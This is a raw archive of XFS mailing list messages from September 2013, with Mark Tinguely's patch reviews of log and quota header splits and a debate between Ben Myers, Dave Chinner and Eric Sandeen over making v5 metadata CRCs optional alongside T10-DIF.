oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0AF697F51 for ; Thu, 5 Sep 2013 14:01:33 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id DD8718F8064; Thu, 5 Sep 2013 12:01:29 -0700 (PDT) Message-ID: <5228D509.7040200@sgi.com> Date: Thu, 05 Sep 2013 14:01:29 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 16/55] xfs: separate out log format definitions References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-17-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-17-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The on-disk format definitions for the log are spread randoms > through a couple of header files. Consolidate it all in a single > file that can be shared easily with userspace. This means that > xfs_log.h and xfs_log_priv.h no longer need to be shared with > userspace. > > Signed-off-by: Dave Chinner > --- This reposted patch has not changed sync the new user/kernel xfs_log_priv.h to patch 01/50 of the for Linux 3.12 kernel patch series which also means remove kernel-only headers (xfs_log.h, xfs_log_priv.h) from xfsprogs. Reviewed-by: Mark Tinguely From BATV+34ec5030f27dc4675615+3665+infradead.org+hch@bombadil.srs.infradead.org Thu Sep 5 14:04:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2FB637F50 for ; Thu, 5 Sep 2013 14:04:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1DE35304048 for ; Thu, 5 Sep 2013 12:04:11 -0700 (PDT) X-ASG-Debug-ID: 1378407847-04cb6c2e9dd82e90001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id JPNF2RlpymXHW6TH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Sep 2013 12:04:08 -0700 (PDT) X-Barracuda-Envelope-From: BATV+34ec5030f27dc4675615+3665+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VHeqd-0006AV-4G; Thu, 05 Sep 2013 19:04:07 +0000 Date: Thu, 5 Sep 2013 12:04:07 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: move buf_ops externs to a xfs_format.h Message-ID: <20130905190407.GA603@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: move buf_ops externs to a xfs_format.h References: <1378382015-16026-1-git-send-email-david@fromorbit.com> <1378382015-16026-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378382015-16026-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1378407847 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140370 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Sep 05, 2013 at 09:53:33PM +1000, Dave Chinner wrote: > All of the buffer operations structures are needed to be exported > for xfs_db, so move them all to a common location rather than > spreading them all over the place. They are verifying the on-disk > format, so xfs_format.h is as good a place as any. > > Don't move the dir2 buffer verifiers - they are already shared in a > "central" place for all the dir2 and moving them just requires > adding more include files... Please only keep the actual format in the _format.h headers and use a different shared header for incore bits that can be shared. From tinguely@sgi.com Thu Sep 5 14:14:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 28B377F50 for ; Thu, 5 Sep 2013 14:14:12 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id D8D328F8040; Thu, 5 Sep 2013 12:14:11 -0700 (PDT) Message-ID: <5228D803.9040500@sgi.com> Date: Thu, 05 Sep 2013 14:14:11 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 17/55] xfs: split out inode log item format definition References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-18-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-18-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Th elog item format definitions are shared with userspace. split the > out of header files that contain kernel only defintions to make it > simple to shared them. > > Signed-off-by: Dave Chinner > --- This patch has not been changed in the repost. sync the new user/kernel xfs_inode.h and xfs_log_format.h to patch 02/49 of the for Linux 3.12 kernel patch series which also means remove kernel-only headers. --- The quota entries will be removed from xfsprogs version of xfs_inode, so my earlier review point of a missing "i_pdquot" from kernel commit 92f8ff73 no longer matters. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 14:18:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 158087F50 for ; Thu, 5 Sep 2013 14:18:05 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id D4763304067; Thu, 5 Sep 2013 12:18:04 -0700 (PDT) Message-ID: <5228D8EC.2070403@sgi.com> Date: Thu, 05 Sep 2013 14:18:04 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 18/55] xfs: split out buf log item format definitions References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-19-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-19-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- This patch has not changed from the last post. sync the new user/kernel xfs_buf_log_item to 03/50 of the for Linux 3.12 kernel patch series which also means remove kernel-only in xfs_buf_item.h Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 14:20:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BAE6B7F50 for ; Thu, 5 Sep 2013 14:20:26 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 859C4304067; Thu, 5 Sep 2013 12:20:26 -0700 (PDT) Message-ID: <5228D979.2030408@sgi.com> Date: Thu, 05 Sep 2013 14:20:25 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 19/55] xfs: split out inode log item format definition References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-20-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-20-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The EFI/EFD item format definitions are shared with userspace. Split > the out of header files that contain kernel only defintions to make > it simple to shared them. > > Signed-off-by: Dave Chinner > --- This patch has not changed from the past posting. This patch is the user equivalent of the for Linux 3.12 kernel patch 04/50. sync the shared user/kernel extent free items to xfs_log_format.h. The kernel only extent free items remain in the header file, xfs_extfree_item.h, which is removed from xfsprogs. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 14:33:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 346E77F50 for ; Thu, 5 Sep 2013 14:33:17 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0FFE3304053; Thu, 5 Sep 2013 12:33:16 -0700 (PDT) Message-ID: <5228DC7C.4080005@sgi.com> Date: Thu, 05 Sep 2013 14:33:16 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 20/55] xfs: separate dquot on disk format definitions out of xfs_quota.h References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-21-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-21-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The on disk format definitions of the on-disk dquot, log formats and > quota off log formats are all intertwined with other definitions for > quotas. Separate them out into their own header file so they can > easily be shared with userspace. > > Signed-off-by: Dave Chinner > --- Finally, a change from the former patch series. quota entries moved to new xfs_format.h. quota log entries including XFS_MOUNT_QUOTA_ALL to xfs_log_format.h and a def to xfs_types.h - all synced to kernel patch 05/50. xfs_quota.h is not synced to kernel 05/50, but in user patch 24/49 is xfs_quota.h is removed (because it will be kernel-only). Reviewed-by: Mark Tinguely From bpm@sgi.com Thu Sep 5 14:34:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BC1A77F50 for ; Thu, 5 Sep 2013 14:34:32 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3EB40AC008; Thu, 5 Sep 2013 12:34:29 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id DB25A4266DC; Thu, 5 Sep 2013 14:34:28 -0500 (CDT) Date: Thu, 5 Sep 2013 14:34:28 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems Message-ID: <20130905193428.GP1935@sgi.com> References: <1377822225-17621-1-git-send-email-david@fromorbit.com> <20130903191201.GL1935@sgi.com> <20130903224542.GH23571@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130903224542.GH23571@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Dave, On Wed, Sep 04, 2013 at 08:45:42AM +1000, Dave Chinner wrote: > On Tue, Sep 03, 2013 at 02:12:01PM -0500, Ben Myers wrote: > > Hey Dave, > > > > On Fri, Aug 30, 2013 at 10:23:43AM +1000, Dave Chinner wrote: > > > Hi folks, > > > > > > The following 2 patches implement the BMBT owner change transaction > > > that is necessary to enable the XFS_IOC_SWAPEXT ioctl to operate on > > > v5 filesystems correctly. The first patch implements the > > > transactional runtime change, and the second patch implements the > > > recovery of that change. > > > > > > Both the run time and recovery code use the same mechanism for > > > changing the owner field in all the blocks in the BMBT on an inode, > > > and even though XFS_IOC_SWAPEXT only swaps the data fork, the code > > > has been written to be fork neutral so if we even need to swap > > > attribute forks it should just work for that, too. > > > > > > Further, because the BMBT code uses the generic btree > > > infrastructure, the btree modification is done as a generic function > > > as well and so should work for all types of btrees supported by the > > > generic code. Hence if the need arises we can easily change the > > > owner of any btree that uses the generic code. > > > > > > The testing carried out is documented in the description of the > > > second patch. > > > > > > AFAIA, this is the only remaining feature that the kernel v5 > > > filesystem implementation didn't support. Hence, with this patchset, > > > there are no more feature checkboxes that need to be ticked that > > > would prevent us from removing the experimental tag from it. Testing > > > is the only remaining gate to removing the tag from the kernel > > > code... > > > > I believe there is still the discussion surrounding being able to use > > the self describing metadata without enabling crcs that needs to be > > resolved before removing the experimental tag. > > There is no discussion to be had here - CRCs are not optional on v5 > filesystems, nor is there any reason to make them optional. Please > stop bring this up over and over again - you're just wasting my time > by making me have to respond with the same answers over and over > again. There is a discussion to be had here, and I'm sorry that you feel I'm wasting your time. I do feel that we need to get this sorted before removing the experimental tag due to the possibility of needing to change interfaces to make it work. > If people don't want CRCs, then we've still got a perfectly good v4 > filesystem format that they can use. People can still use v4 filesystem format, but the self describing metadata includes checks that have value even without the crc. > > Some customers will want > > to use features such as t10-dif and won't want to calculate two separate > > crcs. > > This is a straw man argument. Read: http://en.wikipedia.org/wiki/Straw_man AFAICT at no time in my email did I misrepresent or even attempt to represent your position on this issue. Seems to me that I represented only my position on the issue, and what I think customers will want. Maybe you can find a different fallacy in there but I don't think it's a straw man. > T10-dif is a completely different layer of protection that is only > useful for filesystem metadata if the CRC we calculate for the > metadata is written into the T10-DIF CRC fields. This is the only > way for us to get full end-to-end protection for metadata from > T10-dif. i.e. we have to supply the CRCs ourselves before we issue > the write IO, and verify it ourselves after a read IO. I think of T10-dif as a superset of what you've implemented already, as opposed to a completely different layer of protection. Keeping a crc within the filesystem metadata is useful, and I'm pretty sure we all agree on that. However, today that crc cannot be checked in hardware as it goes across the wire to and from the disk, because 1) the disk doesn't know about the length of the structure protected by the crc, or the location of the crc in the structure, and 2) the disk doesn't support the crc32c, it supports only a 16 bit t10-dif crc per sector. > Guess what we do right now with CRC support? > > That's right: the existing CRC infrastructure is ready to support > integrated, end-to-end T10 CRCs for metadata in the filesystem. All > that is missing is the block layer interfaces and a few changes to > the CRC code to do iterative per-sector CRCs rather than > per-filesystem object CRCs. Yes! This is exactly what I would like to discuss. > Surprise you, it may, but I've actually > considered how to implement T10-dif support as part of the overall > metadata CRC infrastructure architecture... Great, sounds we are thinking along the same lines. > Given that with T10-dif we still need calculate and verify the > CRCs ourselves, why would we not also store it in the filesystem > metadata at the same time? The reason we would not also want to store the crc32c in the filesystem metadata itself is that the cost of calculating crc32c in addition to t10-dif is redundant if you are already using t10-dif. The disk cannot use crc32c, so I'm trying to think like a customer, and it seems to me that a customer will probably want to be able to turn off the crc32c you have implemented if he/she is already using an alternate form of protection. It's belt and suspenders. > That would mean that tools like > xfs_repair and xfs_db can also verify the metadata as being correct > without needing to explicitly support T10-dif. Right. Userspace wouldn't necessarily have to explicitly support t10-dif, given that today the block layer will do it for them. > Of course, if you > want them to be able to repair or modify a filesystem with t10-dif > enabled, we need feature bits and explicit userspace support, too. I think whether userspace needs explicit support depends upon the behavior of the block layer when an error is found. IIRC today it just retries several times before giving up and you get EIO. Not sure how well that information can be used by userspace at this point. > Hence, before making strawman arguments about how filesystem > metadata CRCs will need to be turned off for t10-dif support, AFAICT my assertion that your crc32c should be optional was not a straw man. It comes as a consequence of it not being usable for t10-dif, and therefore redundant. > perhaps it would be better to first consider a design and prototype > support for end-to-end T10-dif CRCs for filesystem metadata and > share that with us? A great idea. I'll shop it around. > As I've said before, we do not make on disk format changes for > strawmen or "potential" features that have not had design documents > or code published - we make the changes when code arrives to > implement the feature. Nah, we think further ahead than that. When I need to move my rook across the board I don't first put a knight in it's path. > So, until you have code for a feature that > *fundamentally requires* CRCs to be disabled to function correctly, > then the is not point even starting a discussion about making CRCs > optional on v5 superblocks. 'Fundamentally requires' is not the bar to pass for starting a discussion on this list. Customers will likely want to be able to disable crc32c in metadata when they are using an alternate form of data protection. That is enough to go on for starting a discussion. Insofar as supporting such a feature might require interface changes to the existing work, I think we should discuss what they might look like before finalizing the mkfs.xfs interfaces in a way that we might find to be incompatible later. If after some discussion we find that this can be done without interface changes that will gate removal of the experimental tag... then it won't gate. Regards, Ben From sandeen@sandeen.net Thu Sep 5 14:57:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 966287F50 for ; Thu, 5 Sep 2013 14:57:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7DD488F804B for ; Thu, 5 Sep 2013 12:57:14 -0700 (PDT) X-ASG-Debug-ID: 1378411032-04cbb02c3bd77300001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Mpku6PTGFjVlufNc for ; Thu, 05 Sep 2013 12:57:13 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 5FE4F68E37D5; Thu, 5 Sep 2013 14:57:12 -0500 (CDT) Message-ID: <5228E217.5080002@sandeen.net> Date: Thu, 05 Sep 2013 14:57:11 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Ben Myers CC: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems References: <1377822225-17621-1-git-send-email-david@fromorbit.com> <20130903191201.GL1935@sgi.com> <20130903224542.GH23571@dastard> <20130905193428.GP1935@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems In-Reply-To: <20130905193428.GP1935@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378411032 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140371 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/5/13 2:34 PM, Ben Myers wrote: > Dave, > > On Wed, Sep 04, 2013 at 08:45:42AM +1000, Dave Chinner wrote: ... >> If people don't want CRCs, then we've still got a perfectly good v4 >> filesystem format that they can use. > > People can still use v4 filesystem format, but the self describing metadata > includes checks that have value even without the crc. Perhaps, but unless there is *value* in turning them off, there is no reason to do so. See previous arguments about test matrix etc. Right now you suggest a different mechanism, but it doesn't actually exist at this point - at least not for end-to-end metadata integrity. crcs between hba & storage is a very different thing, and really not a substitute for xfs's object crcs. More below ... >> Guess what we do right now with CRC support? >> >> That's right: the existing CRC infrastructure is ready to support >> integrated, end-to-end T10 CRCs for metadata in the filesystem. All >> that is missing is the block layer interfaces and a few changes to >> the CRC code to do iterative per-sector CRCs rather than >> per-filesystem object CRCs. > > Yes! This is exactly what I would like to discuss. ... So if and when that is available, we could discuss whether or not there is any reason to disable crcs, right? Until then we're handwaving with no good rationale. > 'Fundamentally requires' is not the bar to pass for starting a discussion on > this list. Customers will likely want to be able to disable crc32c in metadata > when they are using an alternate form of data protection. Which does not exist, not in any similar form. > That is enough to go > on for starting a discussion. Insofar as supporting such a feature might > require interface changes to the existing work, I think we should discuss what > they might look like before finalizing the mkfs.xfs interfaces in a way that we > might find to be incompatible later. If after some discussion we find that > this can be done without interface changes that will gate removal of the > experimental tag... then it won't gate. It is incumbent on SGI to explain why they want to make it optional. There is no alternative design; if and when there is one, that's the time to make another configuration knob. I see 2 possible reasons you would want it to be configurable. The first seems least stated but most likely: 1) You have performance concerns. - you need to show us the numbers if that's the case so we can discuss facts 2) You think T10dif will make it unnecessary - t10dif in hardware gives you EIO, not corruption detection & recovery - end-to-end t10dif with xfs at the "app" layer might be an option, but - nobody has written that, and - the only reason to turn off the object crcs at that point is perf, and - again, we'd need to start with performance numbers. There's been no compelling argument about the need to configure it off at this stage, so discussion of "gating" is really getting off on the wrong foot here, IMHO. If you spot a design decision which would make configurability impossible later, by all means point it out, but I cannot see what purpose it would serve to switch it off today, when there is no replacement. The only good reason I could see is if it affects performance; if you find that it does, publish the numbers... -Eric From sandeen@sandeen.net Thu Sep 5 15:03:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 577927F50 for ; Thu, 5 Sep 2013 15:03:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 362888F804B for ; Thu, 5 Sep 2013 13:03:23 -0700 (PDT) X-ASG-Debug-ID: 1378411402-04cb6c2e9cd860b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id huosSfTXjJhYNZ0D for ; Thu, 05 Sep 2013 13:03:22 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id BFC5068E37D5; Thu, 5 Sep 2013 15:03:21 -0500 (CDT) Message-ID: <5228E388.3060901@sandeen.net> Date: Thu, 05 Sep 2013 15:03:20 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Ben Myers CC: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems References: <1377822225-17621-1-git-send-email-david@fromorbit.com> <20130903191201.GL1935@sgi.com> <20130903224542.GH23571@dastard> <20130905193428.GP1935@sgi.com> <5228E217.5080002@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH 0/2] xfs: defrag support for v5 filesystems In-Reply-To: <5228E217.5080002@sandeen.net> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378411402 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140371 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/5/13 2:57 PM, Eric Sandeen wrote: > On 9/5/13 2:34 PM, Ben Myers wrote: >> Dave, >> >> On Wed, Sep 04, 2013 at 08:45:42AM +1000, Dave Chinner wrote: > > ... > >>> If people don't want CRCs, then we've still got a perfectly good v4 >>> filesystem format that they can use. >> >> People can still use v4 filesystem format, but the self describing metadata >> includes checks that have value even without the crc. > > Perhaps, but unless there is *value* in turning them off, there is no reason > to do so. See previous arguments about test matrix etc. > > Right now you suggest a different mechanism, but it doesn't actually > exist at this point - at least not for end-to-end metadata integrity. > > crcs between hba & storage is a very different thing, and really not > a substitute for xfs's object crcs. More below > > ... > >>> Guess what we do right now with CRC support? >>> >>> That's right: the existing CRC infrastructure is ready to support >>> integrated, end-to-end T10 CRCs for metadata in the filesystem. All >>> that is missing is the block layer interfaces and a few changes to >>> the CRC code to do iterative per-sector CRCs rather than >>> per-filesystem object CRCs. >> >> Yes! This is exactly what I would like to discuss. > > ... > > So if and when that is available, we could discuss whether or not > there is any reason to disable crcs, right? Until then we're > handwaving with no good rationale. In fact, I think we can distill this even further. Even *with* t10dif at the HBA level, the only reason I can see to turn off per-object crcs is performance. To make that argument, you should publish the performance numbers. -Eric From inscripccip@gmail.com Thu Sep 5 15:51:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7C6507F50 for ; Thu, 5 Sep 2013 15:51:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A1FC0AC008 for ; Thu, 5 Sep 2013 13:51:42 -0700 (PDT) X-ASG-Debug-ID: 1378414289-04cbb02c3ad78df0001-w1Z2WR Received: from mail-ie0-f173.google.com (mail-ie0-f173.google.com [209.85.223.173]) by cuda.sgi.com with ESMTP id pw33MONH13EhIAqw (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 05 Sep 2013 13:51:29 -0700 (PDT) X-Barracuda-Envelope-From: inscripccip@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.223.173 X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.173] Received: by mail-ie0-f173.google.com with SMTP id qa5so4131389ieb.18 for ; Thu, 05 Sep 2013 13:51:29 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.173] X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.173] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:date:message-id:subject:from:to:content-type; 